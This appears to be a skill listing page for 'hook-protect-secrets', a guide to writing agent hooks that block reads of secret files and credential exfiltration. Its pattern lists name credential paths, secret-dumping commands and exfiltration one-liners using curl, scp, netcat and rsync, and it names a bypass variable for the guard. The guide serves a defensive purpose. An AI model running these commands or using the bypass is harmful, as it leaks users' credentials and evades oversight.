AGENT SKILL

hook-protect-secrets

Pattern guide for writing PreToolUse hooks that block secret file access, credential exfiltration, and environment variable dumps. Use when: auditing token-scope-guard.sh, adding new sensitive file patterns, reviewing what secret paths are protected. Covers 33 file patterns + 24 bash patterns + 15 exfiltration patterns. Inspired by: karanb192/claude-code-hooks protect-secrets pattern (MIT).

License 许可
Apache-2.0
最近更新
2026-11-14
Stars
★ 13
Forks
2

01 前言 Front Matter

name
hook-protect-secrets
description
Pattern guide for writing PreToolUse hooks that block secret file access, credential exfiltration, and environment variable dumps. Use when: auditing token-scope-guard.sh, adding new sensitive file patterns, reviewing what secret paths are protected. Covers 33 file patterns + 24 bash patterns + 15 exfiltration patterns. Inspired by: karanb192/claude-code-hooks protect-secrets pattern (MIT).

03 SKILL.md 正文

Hook Protect Secrets Pattern

When to trigger

  • "what files does token-scope-guard protect?"
  • "add secret pattern", "protect this file"
  • "secret access hook", "credential guard"
  • Auditing core/hooks/token-scope-guard.sh

Protected file categories (33 patterns)

SSH & credentials

  • .ssh/id_*, .ssh/id_rsa, .ssh/id_ed25519
  • .aws/credentials, .aws/config
  • .netrc, .npmrc, .pypirc

Environment & config

  • .env (but NOT .env.example, .env.sample, .env.template)
  • .vault-token, .pgpass, .my.cnf
  • .kube/config, .docker/config.json

Service accounts & tokens

  • *service-account*.json, *credentials*.json
  • *token*.json, *secret*.json

Bash patterns that expose secrets (24 patterns)

cat .env          # reading env file
echo $AWS_*       # echoing cloud credentials
env | grep KEY    # dumping env vars with key
source .env       # sourcing env file
printenv          # full env dump

Exfiltration patterns (15 patterns)

curl -d @.env https://...     # uploading secret files
scp .env user@remote:         # copying via scp
nc <IP> < .env                # netcat exfil
rsync .env remote:            # rsync exfil

Safe files (always allow)

.env.example
.env.sample
.env.template
.env.test

Hook exit codes

exit 0  → allow (reads/writes that are safe)
exit 2  → block (JSON with blocked path + reason)

Adding new patterns to token-scope-guard.sh

  1. Identify type: file path / bash command / exfiltration
  2. Write regex — be specific to avoid false positives
  3. Add allow-list exception if needed (e.g. .env.example)
  4. Add test to core/tests/hooks/run-hook-tests.sh
  5. Update hook # Last Reviewed: date

Reference

YAMTAM hook: core/hooks/token-scope-guard.sh Bypass: YAMTAM_SCOPE_OK=1 Tests: core/tests/hooks/run-hook-tests.sh

04 同仓库更多 Skills

Horonomos-laps
Horonomos-laps/Yana-AI

openai--sentry--sentry

Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.

★ 13
Horonomos-laps
Horonomos-laps/Yana-AI

ito-basket-compare

Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.

★ 13
Horonomos-laps
Horonomos-laps/Yana-AI

implementing-network-traffic-baselining

Build network traffic baselines from NetFlow/IPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly/daily traffic pattern profiling

★ 13
Horonomos-laps
Horonomos-laps/Yana-AI

detecting-evasion-techniques-in-endpoint-logs

Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.

★ 13
Horonomos-laps
Horonomos-laps/Yana-AI

implementing-microsegmentation-with-guardicore

Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.

★ 13
Horonomos-laps
Horonomos-laps/Yana-AI

ramdisk-tmpfs-patterns

暂无简介

★ 13